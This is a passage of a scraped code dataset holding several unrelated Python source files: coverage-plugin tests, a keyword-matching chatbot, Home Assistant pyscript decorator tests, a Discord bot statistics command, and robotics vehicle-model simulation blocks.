)\n ax.set_title(record.id, loc=\"left\", fontweight=\"bold\")\n ax.set_ylim(top=ax.get_ylim()[1] + 1)\n return ax\n\n\ndef breaches_records_to_pdf(\n breaches_records, pdf_path=None, figure_width=10, logger=\"bar\"\n):\n \"\"\"Plots figures of the breaches annotated in the records into a PDF file.\n \n Parameters\n ----------\n\n breaches_records\n A least of records annotated with breaches, as returned by the\n \n pdf_path\n Either the path to a PDF, or a file handle (open in wb mode) or None\n for this method to return binary PDF data.\n \n logger\n Either \"bar\" for a progress bar, None for no logging, or any Proglog\n logger. The bar name is \"sequence\".\n \"\"\"\n pdf_io = BytesIO() if pdf_path is None else pdf_path\n logger = proglog.default_bar_logger(logger, min_time_interval=0.2)\n\n with PdfPages(pdf_io) as pdf:\n for record in logger.iter_bar(sequence=breaches_records):\n ax = plot_breaches_record(record, figure_width=figure_width)\n pdf.savefig(ax.figure, bbox_inches=\"tight\")\n plt.close(ax.figure)\n if pdf_path is None:\n return pdf_io.getvalue()\n\n\nEXAMPLE_MANUFACTURING_CONSTRAINTS = [\n AvoidPattern(\"BsaI_site\"),\n AvoidPattern(\"BsmBI_site\"),\n AvoidPattern(\"BbsI_site\"),\n AvoidPattern(\"SapI_site\"),\n AvoidPattern(\"9xA\"),\n AvoidPattern(\"9xT\"),\n AvoidPattern(\"6xG\"),\n AvoidPattern(\"6xC\"),\n AvoidPattern(\"5x3mer\"),\n AvoidPattern(\"9x2mer\"),\n AvoidHairpins(stem_size=20, hairpin_window=200),\n EnforceGCContent(mini=0.3, maxi=0.7, window=100),\n]\n","repo_name":"Edinburgh-Genome-Foundry/DnaChisel","sub_path":"dnachisel/reports/constraints_reports/constraints_reports.py","file_name":"constraints_reports.py","file_ext":"py","file_size_in_byte":5119,"program_lang":"python","lang":"en","doc_type":"code","stars":188,"dataset":"github-code","pt":"75"} +{"seq_id":"201711594","text":"from __future__ import annotations\n\nimport importlib\nimport re\n\nimport pytest\nfrom coverage.config import CoverageConfig\nfrom coverage.config import DEFAULT_EXCLUDE\nfrom coverage.plugin_support import Plugins\n\nimport covdefaults\n\nconfigure = covdefaults.CovDefaults().configure\n\n\ndef test_plat_impl_pragmas():\n pragmas = covdefaults._plat_impl_pragmas()\n assert {p.split()[2] for p in pragmas} == set(covdefaults._ALL)\n # other pragmas\n for s in pragmas[:-3]:\n c, pragma, _, cover = s.split()\n assert (c, pragma, cover) == ('#', 'pragma:', r'cover\\b'), s\n # self pragmas\n for s in pragmas[-3:]:\n c, pragma, _, no, cover = s.split()\n assert (c, pragma, no, cover) == ('#', 'pragma:', 'no', r'cover\\b'), s\n\n\ndef _matches_version_pragma(major, minor, s):\n regexes = covdefaults._version_pragmas(major, minor)\n return any(re.match(reg, s) for reg in regexes)\n\n\n@pytest.mark.parametrize(\n ('s', 'expected'),\n (\n # <\n ('# pragma: <2.7 cover', True),\n ('# pragma: <3.6 cover', True),\n ('# pragma: <3.7 cover', True),\n ('# pragma: <3.8 cover', False),\n ('# pragma: <3.10 cover', False),\n # <=\n ('# pragma: <=2.7 cover', True),\n ('# pragma: <=3.6 cover', True),\n ('# pragma: <=3.7 cover', False),\n ('# pragma: <=3.8 cover', False),\n ('# pragma: <=3.10 cover', False),\n # >\n ('# pragma: >2.7 cover', False),\n ('# pragma: >3.6 cover', False),\n ('# pragma: >3.7 cover', True),\n ('# pragma: >3.8 cover', True),\n ('# pragma: >3.10 cover', True),\n # >=\n ('# pragma: >=2.7 cover', False),\n ('# pragma: >=3.6 cover', False),\n ('# pragma: >=3.7 cover', False),\n ('# pragma: >=3.8 cover', True),\n ('# pragma: >=3.10 cover', True),\n # ==\n ('# pragma: ==3.6 cover', True),\n ('# pragma: ==3.7 cover', False),\n ('# pragma: ==3.8 cover', True),\n # !=\n ('# pragma: !=3.6 cover', False),\n ('# pragma: !=3.7 cover', True),\n ('# pragma: !=3.8 cover', False),\n ),\n)\ndef test_version_pragmas_py37(s, expected):\n assert _matches_version_pragma(3, 7, s) == expected\n\n\n@pytest.mark.parametrize(\n ('s', 'expected'),\n (\n # <\n ('# pragma: <2.7 cover', True),\n ('# pragma: <3.9 cover', True),\n ('# pragma: <3.10 cover', True),\n ('# pragma: <3.11 cover', False),\n # <=\n ('# pragma: <=2.7 cover', True),\n ('# pragma: <=3.9 cover', True),\n ('# pragma: <=3.10 cover', False),\n ('# pragma: <=3.11 cover', False),\n # >\n ('# pragma: >2.7 cover', False),\n ('# pragma: >3.9 cover', False),\n ('# pragma: >3.10 cover', True),\n ('# pragma: >3.11 cover', True),\n # >=\n ('# pragma: >=2.7 cover', False),\n ('# pragma: >=3.9 cover', False),\n ('# pragma: >=3.10 cover', False),\n ('# pragma: >=3.11 cover', True),\n # ==\n ('# pragma: ==3.9 cover', True),\n ('# pragma: ==3.10 cover', False),\n ('# pragma: ==3.11 cover', True),\n # !=\n ('# pragma: !=3.9 cover', False),\n ('# pragma: !=3.10 cover', True),\n ('# pragma: !=3.11 cover', False),\n ),\n)\ndef test_version_pragmas_py310(s, expected):\n assert _matches_version_pragma(3, 10, s) == expected\n\n\n@pytest.fixture\ndef configured():\n cfg = CoverageConfig()\n configure(cfg)\n return cfg\n\n\ndef test_constant_options(configured):\n assert configured.get_option('run:branch') is True\n assert configured.get_option('run:source') == ['.']\n assert configured.get_option('report:show_missing') is True\n assert configured.get_option('report:skip_covered') is True\n assert configured.get_option('report:fail_under') == 100\n\n\ndef test_source_already_set():\n cfg = CoverageConfig()\n cfg.set_option('run:source', ['/tmp/foo'])\n configure(cfg)\n assert cfg.get_option('run:source') == ['/tmp/foo']\n\n\ndef test_extends_existing_omit():\n cfg = CoverageConfig()\n cfg.set_option('run:omit', ['pre_commit/resources/*'])\n configure(cfg)\n assert cfg.get_option('run:omit') == [\n '*/__main__.py',\n '*/setup.py',\n 'pre_commit/resources/*',\n ]\n\n\ndef test_subtract_omit():\n cfg = CoverageConfig()\n covdefaults.CovDefaults(subtract_omit='*/__main__.py').configure(cfg)\n assert cfg.get_option('run:omit') == [\n '*/setup.py',\n ]\n\n\ndef test_exclude_lines_does_not_include_defaults(configured):\n ret = set(configured.get_option('report:exclude_lines'))\n assert set(DEFAULT_EXCLUDE) & ret == set()\n\n\n@pytest.mark.parametrize(\n 'src',\n (\n 'if x: # pragma: no cover\\n',\n 'if x: # pragma: no cover (py38+)\\n',\n 'if x: # noqa # pragma: no cover\\n',\n 'if x: # pragma: no cover # noqa\\n',\n 'raise AssertionError(\"unreachable!\")\\n',\n 'raise NotImplementedError(\"TODO!\")\\n',\n ' return NotImplemented\\n',\n ' raise\\n',\n 'if False:\\n',\n ' if False:\\n',\n 'if TYPE_CHECKING:\\n',\n ' if TYPE_CHECKING:\\n',\n 'assert_never(instance)',\n 'def f(x: int) -> int: ...\\n',\n 'def f(x: int) -> int:\\n ...\\n',\n 'def f(x: int) -> C: ...# noqa: F821\\n',\n 'def f(x: int) -> C: ... # noqa: F821\\n',\n 'def never_returns() -> NoReturn:\\n',\n 'def never_returns() -> \"NoReturn\":\\n',\n \"def never_returns() -> 'NoReturn':\\n\",\n 'if __name__ == \"__main__\":\\n',\n \"if __name__ == '__main__':\\n\",\n ),\n)\ndef test_excludes_lines(configured, src):\n for reg in configured.get_option('report:exclude_lines'):\n if any(re.search(reg, line) for line in src.splitlines()):\n break\n else:\n raise AssertionError(f'no regex matched {src!r}')\n\n\n@pytest.mark.parametrize(\n 'src',\n (\n 'if True: # pragma: no branch\\n',\n 'if sys.platform == \"win32\": # pragma: win32 cover\\n',\n 'if sys.platform != \"win32\": # pragma: win32 no cover\\n',\n 'if sys.version_info >= (3, 9): # pragma: >=3.9 cover\\n',\n 'if sys.version_info > (3, 9): # pragma: >3.9 cover\\n',\n 'if sys.version_info <= (3, 9): # pragma: <=3.9 cover\\n',\n 'if sys.version_info < (3, 9): # pragma: <3.9 cover\\n',\n 'if sys.version_info == (3, 9): # pragma: ==3.9 cover\\n',\n 'if sys.version_info != (3, 9): # pragma: !=3.9 cover\\n',\n ),\n)\ndef test_partial_branches(configured, src):\n for reg in configured.get_option('report:partial_branches'):\n if any(re.search(reg, line) for line in src.splitlines()):\n break\n else:\n raise AssertionError(f'no regex matched {src!r}')\n\n\ndef test_extends_existing_exclude_lines():\n cfg = CoverageConfig()\n cfg.set_option('report:exclude_lines', ['^if MYPY:$'])\n configure(cfg)\n assert '^if MYPY:$' in cfg.get_option('report:exclude_lines')\n\n\ndef test_configure_keeps_existing_fail_under():\n cfg = CoverageConfig()\n cfg.set_option('report:fail_under', 42)\n configure(cfg)\n assert cfg.get_option('report:fail_under') == 42\n\n\ndef test_coverage_init():\n cfg = CoverageConfig()\n plugin_manager = Plugins.load_plugins(['covdefaults'], cfg)\n assert plugin_manager.get('covdefaults.CovDefaults')\n\n\ndef test_fix_coverage():\n \"\"\"since we get imported as a coverage plugin -- need to re-scan module\"\"\"\n importlib.reload(covdefaults)\n","repo_name":"asottile/covdefaults","sub_path":"tests/covdefaults_test.py","file_name":"covdefaults_test.py","file_ext":"py","file_size_in_byte":7465,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"75"} +{"seq_id":"18727674424","text":"# Sync_Intern-s_Python_Project-4\r\n# Chatbot using Python\r\n\r\nimport re\r\nimport l_r as long\r\n\r\n\r\ndef msg_p(u_msg, r_words, One_ans=False, req_words=[]):\r\n msg_cert = 0\r\n has_req_words = True\r\n\r\n # It counts word in predefined message\r\n for w in u_msg:\r\n if w in r_words:\r\n msg_cert += 1\r\n\r\n # For % of recognised word in user's message\r\n per = float(msg_cert) / float(len(r_words))\r\n\r\n # For checking * words in string\r\n for w in req_words:\r\n if w not in u_msg:\r\n has_req_words = False\r\n break\r\n \r\n # It should have required words or One ans\r\n if has_req_words or One_ans:\r\n return int(per * 100)\r\n else:\r\n return 0\r\n\r\n\r\ndef chk_msg(msg):\r\n h_list = {}\r\n # It simplifies ans making \r\n def ans(bot_ans, l_words, One_ans=False, req_words=[]):\r\n nonlocal h_list\r\n h_list[bot_ans] = msg_p(msg, l_words, One_ans, req_words)\r\n\r\n # About Answers ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n ans('Hello! Sir/Ma\\'am nice to meet you. ', ['hello', 'hi', 'hey', 'sup', 'heyo'], One_ans=True)\r\n ans('See you Sir/Ma\\'am!', ['bye', 'goodbye'], One_ans=True)\r\n ans('I\\'m fine. What about you?', ['how', 'are', 'you', 'doing'], req_words=['how'])\r\n ans('You\\'re welcome!', ['thank', 'thanks'], One_ans=True)\r\n ans('Thank you very much!', ['i', 'love', 'code', 'palace'], req_words=['code', 'palace'])\r\n \r\n\r\n\r\n # While long answers\r\n ans(long.advice, ['give', 'advice'], req_words=['advice'])\r\n ans(long.eat, ['what', 'you', 'eat'], req_words=['you', 'eat'])\r\n ans(long.info,['give','information','info'], req_words=['information'])\r\n\r\n perfect_match = max(h_list, key=h_list.get)\r\n return long.unknown() if h_list[perfect_match] < 1 else perfect_match\r\n\r\n# Gettin the answer\r\ndef get_ans(u_ip):\r\n split_ans = re.split(r'\\s+|[,;?!.-]\\s*', u_ip.lower())\r\n ans = chk_msg(split_ans)\r\n return ans\r\n\r\n# Let's ready to testing my Shreyu's Bot\r\nwhile True:\r\n print('Shreyu\\'s Bot : ' + get_ans(input('You : ')))","repo_name":"Shreyas-Vanage/Sync_Intern-s_Python_Project-4","sub_path":"Chatbot_Project-4.py","file_name":"Chatbot_Project-4.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39881290965","text":"\"\"\"Test pyscript user-defined decorators.\"\"\"\nfrom ast import literal_eval\nimport asyncio\nfrom datetime import datetime as dt\n\nfrom custom_components.pyscript.const import DOMAIN\nfrom custom_components.pyscript.function import Function\nimport custom_components.pyscript.trigger as trigger\nfrom pytest_homeassistant_custom_component.async_mock import mock_open, patch\n\nfrom homeassistant.const import EVENT_HOMEASSISTANT_STARTED, EVENT_STATE_CHANGED\nfrom homeassistant.setup import async_setup_component\n\n\nasync def setup_script(hass, notify_q, now, source):\n \"\"\"Initialize and load the given pyscript.\"\"\"\n scripts = [\n \"/hello.py\",\n ]\n\n Function.hass = None\n\n with patch(\"custom_components.pyscript.os.path.isdir\", return_value=True), patch(\n \"custom_components.pyscript.glob.iglob\", return_value=scripts\n ), patch(\"custom_components.pyscript.global_ctx.open\", mock_open(read_data=source)), patch(\n \"custom_components.pyscript.trigger.dt_now\", return_value=now\n ), patch(\n \"homeassistant.config.load_yaml_config_file\", return_value={}\n ), patch(\n \"custom_components.pyscript.open\", mock_open(read_data=source)\n ), patch(\n \"custom_components.pyscript.watchdog_start\", return_value=None\n ), patch(\n \"custom_components.pyscript.os.path.getmtime\", return_value=1000\n ), patch(\n \"custom_components.pyscript.global_ctx.os.path.getmtime\", return_value=1000\n ), patch(\n \"custom_components.pyscript.install_requirements\", return_value=None,\n ):\n assert await async_setup_component(hass, \"pyscript\", {DOMAIN: {}})\n\n #\n # I'm not sure how to run the mock all the time, so just force the dt_now()\n # trigger function to return the given list of times in now.\n #\n def return_next_time():\n nonlocal now\n if isinstance(now, list):\n if len(now) > 1:\n return now.pop(0)\n return now[0]\n return now\n\n trigger.__dict__[\"dt_now\"] = return_next_time\n\n if notify_q:\n\n async def state_changed(event):\n var_name = event.data[\"entity_id\"]\n if var_name != \"pyscript.done\":\n return\n value = event.data[\"new_state\"].state\n await notify_q.put(value)\n\n hass.bus.async_listen(EVENT_STATE_CHANGED, state_changed)\n\n\nasync def wait_until_done(notify_q):\n \"\"\"Wait for the done handshake.\"\"\"\n return await asyncio.wait_for(notify_q.get(), timeout=4)\n\n\nasync def test_decorator_errors(hass, caplog):\n \"\"\"Test decorator syntax and run-time errors.\"\"\"\n notify_q = asyncio.Queue(0)\n await setup_script(\n hass,\n notify_q,\n [dt(2020, 7, 1, 11, 59, 59, 999999)],\n \"\"\"\nseq_num = 0\n\ndef add_startup_trig(func):\n @time_trigger(\"startup\")\n def dec_add_startup_wrapper(*args, **kwargs):\n return func(*args, **kwargs)\n return dec_add_startup_wrapper\n\ndef once(func):\n def once_func(*args, **kwargs):\n return func(*args, **kwargs)\n return once_func\n\ndef twice(func):\n def twice_func(*args, **kwargs):\n func(*args, **kwargs)\n return func(*args, **kwargs)\n return twice_func\n\n@twice\n@add_startup_trig\n@twice\ndef func_startup_sync(trigger_type=None, trigger_time=None):\n global seq_num\n\n seq_num += 1\n log.info(f\"func_startup_sync setting pyscript.done = {seq_num}, trigger_type = {trigger_type}, trigger_time = {trigger_time}\")\n pyscript.done = seq_num\n\n@state_trigger(\"pyscript.var1 == '1'\")\n@once\ndef func1():\n global seq_num\n\n seq_num += 1\n pyscript.done = seq_num\n\n@state_trigger(\"pyscript.var1 == '2'\")\n@twice\ndef func2():\n global seq_num\n\n seq_num += 1\n pyscript.done = seq_num\n\n@state_trigger(\"pyscript.var1 == '3'\")\n@twice\n@twice\n@once\n@once\n@once\ndef func3():\n global seq_num\n\n seq_num += 1\n pyscript.done = seq_num\n\ndef repeat(num_times):\n num_times += 0\n def decorator_repeat(func):\n @state_trigger(\"pyscript.var1 == '4'\")\n def wrapper_repeat(*args, **kwargs):\n for _ in range(num_times):\n value = func(*args, **kwargs)\n return value\n return wrapper_repeat\n return decorator_repeat\n\n@repeat(3)\ndef func4():\n global seq_num\n\n seq_num += 1\n pyscript.done = seq_num\n\n@state_trigger(\"pyscript.var1 == '5'\")\ndef func5(value=None):\n global seq_num, startup_test\n\n seq_num += 1\n pyscript.done = [seq_num, int(value)]\n\n @add_startup_trig\n def startup_test():\n global seq_num\n\n seq_num += 1\n pyscript.done = [seq_num, int(value)]\n\ndef add_state_trig(value):\n def dec_add_state_trig(func):\n @state_trigger(f\"pyscript.var1 == '{value}'\")\n def dec_add_state_wrapper(*args, **kwargs):\n return func(*args, **kwargs)\n return dec_add_state_wrapper\n return dec_add_state_trig\n\n@add_state_trig(6) # same as @state_trigger(\"pyscript.var1 == '6'\")\n@add_state_trig(8) # same as @state_trigger(\"pyscript.var1 == '8'\")\n@state_trigger(\"pyscript.var1 == '10'\")\ndef func6(value):\n global seq_num\n\n seq_num += 1\n pyscript.done = [seq_num, int(value)]\n\n\"\"\",\n )\n seq_num = 0\n\n # fire event to start triggers, and handshake when they are running\n hass.bus.async_fire(EVENT_HOMEASSISTANT_STARTED)\n for _ in range(4):\n seq_num += 1\n assert literal_eval(await wait_until_done(notify_q)) == seq_num\n\n hass.states.async_set(\"pyscript.var1\", 0)\n hass.states.async_set(\"pyscript.var1\", 1)\n seq_num += 1\n assert literal_eval(await wait_until_done(notify_q)) == seq_num\n\n hass.states.async_set(\"pyscript.var1\", 2)\n for _ in range(2):\n seq_num += 1\n assert literal_eval(await wait_until_done(notify_q)) == seq_num\n\n hass.states.async_set(\"pyscript.var1\", 3)\n for _ in range(4):\n seq_num += 1\n assert literal_eval(await wait_until_done(notify_q)) == seq_num\n\n hass.states.async_set(\"pyscript.var1\", 4)\n for _ in range(3):\n seq_num += 1\n assert literal_eval(await wait_until_done(notify_q)) == seq_num\n\n hass.states.async_set(\"pyscript.var1\", 5)\n for _ in range(2):\n seq_num += 1\n assert literal_eval(await wait_until_done(notify_q)) == [seq_num, 5]\n\n for i in range(3):\n hass.states.async_set(\"pyscript.var1\", 6 + 2 * i)\n seq_num += 1\n assert literal_eval(await wait_until_done(notify_q)) == [seq_num, 6 + 2 * i]\n","repo_name":"SciFiFarms/TechnoCore-Home-Assistant","sub_path":"config/custom_components/src/pyscript/tests/test_decorators.py","file_name":"test_decorators.py","file_ext":"py","file_size_in_byte":6451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12573785555","text":"import discord\n\nfrom sigma.core.utilities.data_processing import user_avatar\nfrom sigma.core.utilities.generic_responses import GenericResponse\nfrom sigma.modules.minigames.professions.nodes.item_core import get_item_core\n\n\nasync def bazaarstatistics(cmd, pld):\n \"\"\"\n :param cmd: The command object referenced in the command.\n :type cmd: sigma.core.mechanics.command.SigmaCommand\n :param pld: The payload with execution data and details.\n :type pld: sigma.core.mechanics.payload.CommandPayload\n \"\"\"\n total_spent = 0\n total_markup = 0\n total_value = 0\n item_counts = {}\n currency = cmd.bot.cfg.pref.currency\n item_core = await get_item_core(cmd.db)\n total = '--total' in pld.args\n if total:\n target = None\n lookup = {}\n else:\n target = pld.msg.mentions[0] if pld.msg.mentions else pld.msg.author\n lookup = {'user_id': target.id}\n count = await cmd.db[cmd.db.db_nam].BazaarPurchases.count_documents(lookup)\n if count:\n most_expensive = None\n docs = cmd.db[cmd.db.db_nam].BazaarPurchases.find(lookup)\n async for doc in docs:\n item = item_core.get_item_by_file_id(doc.get('item'))\n item_count = item_counts.get(item.file_id, 0)\n item_count += 1\n item_counts.update({item.file_id: item_count})\n buy_price = doc.get('price')\n total_spent += buy_price\n total_markup += buy_price - item.value\n total_value += item.value\n if most_expensive is None:\n most_expensive = doc\n else:\n if doc.get('price') > most_expensive.get('price'):\n most_expensive = doc\n mex_item = item_core.get_item_by_file_id(most_expensive.get('item'))\n mex_price = most_expensive.get('price')\n bought_keys = list(item_counts.keys())\n by_buy_count = list(sorted(bought_keys, key=lambda x: item_counts.get(x), reverse=True))\n most_bought = item_core.get_item_by_file_id(by_buy_count[0])\n mb_count = item_counts.get(most_bought.file_id)\n block = f\"Purchases: **{count}**\"\n block += f\"\\nCurrency Spent: **{total_spent} {currency}**\"\n block += f\"\\nMarkup Currency Spent: **{total_markup} {currency}**\"\n block += f\"\\nAverage Markup: **{round(total_markup / count, 2)} {currency}**\"\n block += f\"\\nAverage Markup Multiplier: **x{round(total_spent / total_value, 2)}**\"\n block += f\"\\nMost Bought Item: {most_bought.icon} **{most_bought.name}** ({mb_count})\"\n block += f\"\\nMost Expensive Item: {mex_item.icon} **{mex_item.name}** ({mex_price} {currency})\"\n response = discord.Embed(color=0xffac33, title='🪙 Bazaar Statistics')\n response.description = block\n if not total:\n response.set_author(name=target.display_name, icon_url=user_avatar(target))\n else:\n if total:\n response = GenericResponse(\"Nobody has not been to the bazaar.\").error()\n else:\n response = GenericResponse(f\"{target.name} has not been to the bazaar.\").error()\n await pld.msg.channel.send(embed=response)\n","repo_name":"lu-ci/apex-sigma-core","sub_path":"sigma/modules/minigames/professions/bazaarstatistics.py","file_name":"bazaarstatistics.py","file_ext":"py","file_size_in_byte":3157,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"73410468722","text":"from typing import Type\nimport numpy as np\nfrom math import sin, cos, atan2, tan, sqrt, pi\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Polygon\nimport time\n\nfrom bdsim.components import TransferBlock\nfrom bdsim.graphics import GraphicsBlock\n\nfrom spatialmath import base\nfrom roboticstoolbox import mobile\n\n# ------------------------------------------------------------------------ #\nclass Bicycle(TransferBlock):\n \"\"\"\n :blockname:`BICYCLE`\n \n .. table::\n :align: left\n \n +------------+------------+---------+\n | inputs | outputs | states |\n +------------+------------+---------+\n | 2 | 1 | 3 |\n +------------+------------+---------+\n | float | ndarray(3) | | \n +------------+------------+---------+\n \"\"\"\n\n nin = 2\n nout = 1\n inlabels = ('v', 'γ')\n outlabels = ('q',)\n\n def __init__(self, L=1, speed_max=np.inf, accel_max=np.inf, steer_max=0.45 * pi, \n x0=None, **blockargs):\n r\"\"\"\n Create a vehicle model with Bicycle kinematics.\n\n :param L: Wheelbase, defaults to 1\n :type L: float, optional\n :param speed_max: Velocity limit, defaults to math.inf\n :type speed_max: float, optional\n :param accel_max: maximum acceleration, defaults to math.inf\n :type accel_max: float, optional\n :param steer_max: maximum steered wheel angle, defaults to math.pi*0.45\n :type steer_max: float, optional\n :param x0: Initial state, defaults to [0,0,0]\n :type x0: array_like(3), optional\n :param blockargs: |BlockOptions|\n :type blockargs: dict\n :return: a BICYCLE block\n :rtype: Bicycle instance\n\n \n Bicycle kinematic model with state/configuration :math:`[x, y, \\theta]`. \n \n **Block ports**\n \n :input v: Vehicle speed (metres/sec). The velocity limit ``speed_max``\n and acceleration limit ``accel_max`` is\n applied to this input.\n :input γ: Steered wheel angle (radians). The steering limit ``steer_max``\n is applied to this input.\n \n :output q: configuration (x, y, θ)\n\n :seealso: :class:`roboticstoolbox.mobile.Bicycle` :class:`Unicycle` :class:`DiffSteer` \n \"\"\"\n # TODO: add option to model the effect of steering arms, responds to\n # gamma dot\n \n super().__init__(nstates=3, **blockargs)\n\n self.vehicle = mobile.Bicycle(L=L,\n steer_max=steer_max, speed_max=speed_max, accel_max=accel_max)\n\n if x0 is None:\n self._x0 = np.zeros((self.nstates,))\n else:\n assert len(x0) == self.nstates, \"x0 is {:d} long, should be {:d}\".format(len(x0), self.nstates)\n self._x0 = x0\n \n self.inport_names(('v', '$\\gamma$'))\n self.outport_names(('q',))\n self.state_names(('x', 'y', r'$\\theta$'))\n \n def output(self, t):\n return [self._x] # one output which is ndarray(3)\n \n def deriv(self):\n return self.vehicle.deriv(self._x, self.inputs)\n \n# ------------------------------------------------------------------------ #\nclass Unicycle(TransferBlock):\n r\"\"\"\n :blockname:`UNICYCLE`\n \n .. table::\n :align: left\n \n +------------+------------+---------+\n | inputs | outputs | states |\n +------------+------------+---------+\n | 2 | 1 | 3 |\n +------------+------------+---------+\n | float | ndarray(3) | | \n +------------+------------+---------+\n \"\"\"\n nin = 2\n nout = 1\n inlabels = ('v', 'ω')\n outlabels = ('q',)\n\n def __init__(self, w=1, speed_max=np.inf, accel_max=np.inf, steer_max=np.inf, \n a=0, x0=None, **blockargs):\n r\"\"\"\n Create a vehicle model with Unicycle kinematics.\n\n :param w: vehicle width, defaults to 1\n :type w: float, optional\n :param speed_max: Velocity limit, defaults to math.inf\n :type speed_max: float, optional\n :param accel_max: maximum acceleration, defaults to math.inf\n :type accel_max: float, optional\n :param steer_max: maximum turn rate :math:`\\omega`, defaults to math.inf\n :type steer_max: float, optional\n :param x0: Inital state, defaults to [0,0,0]\n :type x0: array_like(3), optional\n :param blockargs: |BlockOptions|\n :type blockargs: dict\n :return: a UNICYCLE block\n :rtype: Unicycle instance\n\n Unicycle kinematic model with state/configuration :math:`[x, y, \\theta]`.\n\n **Block ports**\n \n :input v: Vehicle speed (metres/sec). The velocity limit ``speed_max`` and\n acceleration limit ``accel_max`` is\n applied to this input.\n :input ω: Angular velocity (radians/sec). The steering limit ``steer_max``\n is applied to this input.\n \n :output q: configuration (x, y, θ)\n\n :seealso: :class:`roboticstoolbox.mobile.Unicycle` :class:`Bicycle` :class:`DiffSteer`\n \"\"\" \n super().__init__(nstates=3, **blockargs)\n \n if x0 is None:\n self._x0 = np.zeros((self.nstates,))\n else:\n assert len(x0) == self.nstates, \"x0 is {:d} long, should be {:d}\".format(len(x0), self.nstates)\n self._x0 = x0\n\n self.vehicle = mobile.Unicycle(w=w,\n steer_max=steer_max, speed_max=speed_max, accel_max=accel_max)\n\n #TODO, add support for origin shift\n # If ``a`` is non-zero then the planar velocity of that point $x=a$\n # can be controlled by\n\n # .. math::\n\n # \\begin{pmatrix} v \\\\ \\omega \\end{pmatrix} = \n # \\begin{pmatrix}\n # \\cos \\theta & \\sin \\theta \\\\ \n # -\\frac{1}{a}\\sin \\theta & \\frac{1}{a}\\cos \\theta\n # \\end{pmatrix}\\begin{pmatrix}\n # \\dot{x} \\\\ \\dot{y}\n # \\end{pmatrix}\n \n def output(self, t):\n return self._x\n \n def deriv(self):\n return self.vehicle.deriv(self._x, self.inputs)\n \n# ------------------------------------------------------------------------ #\nclass DiffSteer(TransferBlock):\n \"\"\"\n :blockname:`DIFFSTEER`\n \n .. table::\n :align: left\n \n +------------+------------+---------+\n | inputs | outputs | states |\n +------------+------------+---------+\n | 2 | 1 | 3 |\n +------------+------------+---------+\n | float | ndarray(3) | | \n +------------+------------+---------+\n \"\"\"\n\n nin = 2\n nout = 1\n\n inlabels = ('ωL', 'ωR')\n outlabels = ('q',)\n\n def __init__(self, w=1, R=1, speed_max=np.inf, accel_max=np.inf, steer_max=None, \n a=0, x0=None, **blockargs):\n r\"\"\"\n Create a differential steer vehicle model\n\n :param w: vehicle width, defaults to 1\n :type w: float, optional\n :param R: Wheel radius, defaults to 1\n :type R: float, optional\n :param speed_max: Velocity limit, defaults to 1\n :type speed_max: float, optional\n :param accel_max: maximum acceleration, defaults to math.inf\n :type accel_max: float, optional\n :param steer_max: maximum steering rate, defaults to 1\n :type steer_max: float, optional\n :param x0: Inital state, defaults to None\n :type x0: array_like, optional\n :param blockargs: |BlockOptions|\n :type blockargs: dict\n :return: a DIFFSTEER block\n :rtype: DiffSteer instance\n \n Unicycle kinematic model with state :math:`[x, y, \\theta]`, with\n inputs given as wheel angular velocity.\n\n **Block ports**\n\n :input ωL: Left-wheel angular velocity (radians/sec).\n :input ωR: Right-wheel angular velocity (radians/sec).\n \n :output q: configuration (x, y, θ)\n\n The resulting forward velocity and turning rate from ωL and ωR have\n the velocity limit ``speed_max`` and acceleration limit ``accel_max``\n applied, as well as the turning rate limit ``steer_max``.\n\n .. note:: Wheel velocity is defined such that if both are positive the vehicle\n moves forward.\n\n :seealso: :class:`roboticstoolbox.mobile.Unicycle` :class:`Bicycle` :class:`Unicycle`\n \"\"\"\n super().__init__(nstates=3, **blockargs)\n self.type = 'diffsteer'\n self.R = R\n \n if x0 is None:\n self._x0 = np.zeros((slef.nstates,))\n else:\n assert len(x0) == self.nstates, \"x0 is {:d} long, should be {:d}\".format(len(x0), self.nstates)\n self._x0 = x0\n\n self.vehicle = mobile.Unicycle(w=w,\n steer_max=steer_max, speed_max=speed_max, accel_max=accel_max)\n\n def output(self, t):\n return self._x\n \n def deriv(self):\n # compute (v, omega) from left/right wheel speeds\n v = self.R * (self.inputs[0] + self.inputs[1]) / 2\n omega = (self.inputs[1] + self.inputs[0]) / self.W\n return self.vehicle.deriv(self._x, (v, omega))\n\n# ------------------------------------------------------------------------ #\n\nclass VehiclePlot(GraphicsBlock):\n \"\"\"\n :blockname:`VEHICLEPLOT`\n \n .. table::\n :align: left\n \n +--------+---------+---------+\n | inputs | outputs | states |\n +--------+---------+---------+\n | 1 | 0 | 0 |\n +--------+---------+---------+\n | ndarray| | | \n +--------+---------+---------+\n \"\"\"\n\n nin = 1\n nout = 0\n\n inlabels = ('q',)\n\n # TODO add ability to render an image instead of an outline\n \n def __init__(self, animation=None, path=None, labels=['X', 'Y'], square=True, init=None, scale=True, **blockargs):\n \"\"\"\n Create a vehicle animation\n\n :param animation: Graphical animation of vehicle, defaults to None\n :type animation: VehicleAnimation subclass, optional\n :param path: linestyle to plot path taken by vehicle, defaults to None\n :type path: str or dict, optional\n :param labels: axis labels (xlabel, ylabel), defaults to [\"X\",\"Y\"]\n :type labels: array_like(2) or list\n :param square: Set aspect ratio to 1, defaults to True\n :type square: bool, optional\n :param init: function to initialize graphics, defaults to None\n :type init: callable, optional\n :param scale: scale of plot, defaults to \"auto\"\n :type scale: list or str, optional\n :param blockargs: |BlockOptions|\n :type blockargs: dict\n :return: A VEHICLEPLOT block\n :rtype: VehiclePlot instance\n\n Create a vehicle animation similar to the figure below.\n\n **Block ports**\n\n :input q: configuration (x, y, θ)\n \n Notes:\n \n - The ``init`` function is called after the axes are initialized\n and can be used to draw application specific detail on the\n plot. In the example below, this is the dot and star.\n - A dynamic trail, showing path to date can be animated if\n the option ``path`` is set to a linestyle.\n \n .. figure:: 